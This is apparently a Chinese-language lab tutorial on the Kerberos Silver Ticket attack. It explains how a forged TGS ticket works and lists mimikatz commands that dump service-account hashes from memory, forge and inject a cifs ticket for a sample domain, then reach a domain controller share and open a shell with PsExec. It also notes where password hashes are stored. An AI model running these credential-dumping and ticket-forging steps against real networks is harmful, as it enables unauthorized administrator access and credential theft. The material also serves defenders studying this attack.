通过kerberos那篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题
第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责
针对kerberos协议需要解决的第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。攻击者提出了一种思路,伪造TGS票据进行攻击,所以出现了另一种针对kerberos认证的攻击手法-伪造TGS ticket白银票据。
Silver Tickets(白银票据)就是伪造的TGS ticket,TGS ticket中包含了伪造的PAC,用来让服务器获取相应的用户UID等信息,向KDC确认用户是否有权限访问某个服务。
由于白银票据是伪造的TGS票据,所以与域控制器没有步骤1、2、3、4的通信,直接进入到认证的第五步把TGS票据当作AP_REQ的一部分被发送到提供服务的服务器去访问服务。
制作白银票据 (上篇黄金票据已经截过图,主要使用用工具还是mimikatz和psexec)
制作白银票据的条件:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH
4.伪造的用户名,可以是任意用户名,一般伪造administrator
5.需要访问的服务
第一步:
管理员权限运行mimikatz
privilege::debug #提升权限
sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)
第二步:
清空本地票据缓存
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据
第三步:
伪造白银票据并导入
kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt
第四步:
访问域控的共享目录
dir \win08c$
远程登陆,执行命令
PsExec.exe \win08 cmd.exe
whoami查看权限
黄金票据和白银票据区别
1.TGS ticket针对的是某个机器上的某个服务,TGT针对的是所有机器的所有服务
2.TGT利用krbtgt账户的hash,TGS ticket利用的是服务账户的hash(目标机的hash,以计算机名$显示的账户)
黄金票据的实验结果:
能够在域里边所有机器上都以administrator登录
白银票据的实验结果:
以前就能够psexec的,使用白银票据添加cifs为administrator权限后,能够在psexec之后以administrator登录
以前就不能后动psexesvc的机器,实用白银票据添加cifs后,dir由无权查看变为有权查看
hash位置
运行中的系统,需要从内存抓取->lassas.exe进程里边存放的是活动用户的hash(当前登录的用户)普通域用户或普通工作组:SAM文件(加密后的用户密码)/SYSTEM文件(秘钥)windows/system32/config/SAM存的是当前机器所用户的Hash
域控:ntds.dit所有域用户的账号/密码(hash)